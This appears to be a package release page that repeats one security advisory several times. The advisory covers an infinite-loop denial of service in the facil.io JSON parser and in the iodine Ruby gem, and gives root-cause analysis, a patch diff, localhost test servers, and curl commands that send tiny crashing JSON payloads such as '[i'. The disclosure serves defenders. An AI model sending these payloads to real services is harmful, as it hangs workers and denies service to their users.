This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Jul 23, 2020

0.7.40 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

May 23, 2020

0.7.39 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

May 18, 2020

0.7.38 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

Dec 09, 2019

0.7.37 patch

1 CVE

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
